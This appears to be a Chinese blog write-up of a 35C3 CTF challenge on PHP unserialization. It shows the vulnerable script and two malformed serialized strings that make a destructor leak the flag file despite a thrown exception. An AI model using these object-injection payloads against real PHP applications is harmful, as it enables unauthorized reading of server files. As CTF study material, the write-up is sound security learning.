zoukankan      html  css  js  c++  java
  • 35C3 CTF

    参考链接

    https://ctftime.org/task/7404

    题目描述

    PHP's unserialization mechanism can be exceptional.

    解题流程

    程序代码

    <?php
    $line = trim(fgets(STDIN));
    $flag = file_get_contents('/flag');
    
    class B {
      function __destruct() {
        global $flag;
        echo $flag;
      }
    }
    
    $a = @unserialize($line);
    throw new Exception('Well that was unexpected…');
    echo $a;
    
    

    我们用以下代码产生一个正常的序列:

    class B {
    	
    }
    
    $a = array(1,2,new B(),3,4);
    echo serialize($a);
    

    用以上代码构造序列化数组:a:5:{i:0;i:1;i:1;i:2;i:2;O:1:"B":0:{}i:3;i:3;i:4;i:4;},把最后面的分号去掉变成a:5:{i:0;i:1;i:1;i:2;i:2;O:1:"B":0:{}i:3;i:3;i:4;i:4},将该序列发送给php程序即可显示flag。

    <?php
    
    $test = new B();
    $serialize_test = serialize($test);
    echo $serialize_test;
    

    上述代码会产生序列:O:1:"B":0:{},把0改成1,序列变为O:1:"B":1:{},把这个序列发送给php程序也能获得flag。

  • 相关阅读:
    HTML框架
    HTML链接
    kzalloc 函数详解(转载)
    LCD接口(转载)
    S3C2440上RTC时钟驱动开发实例讲解(转载)
    PHP 真值与空值
    http chunked 理解
    c# 基础
    美式音标注意事项
    groovy 闭包
  • 原文地址:https://www.cnblogs.com/Antiver/p/10296187.html
Copyright © 2011-2022 走看看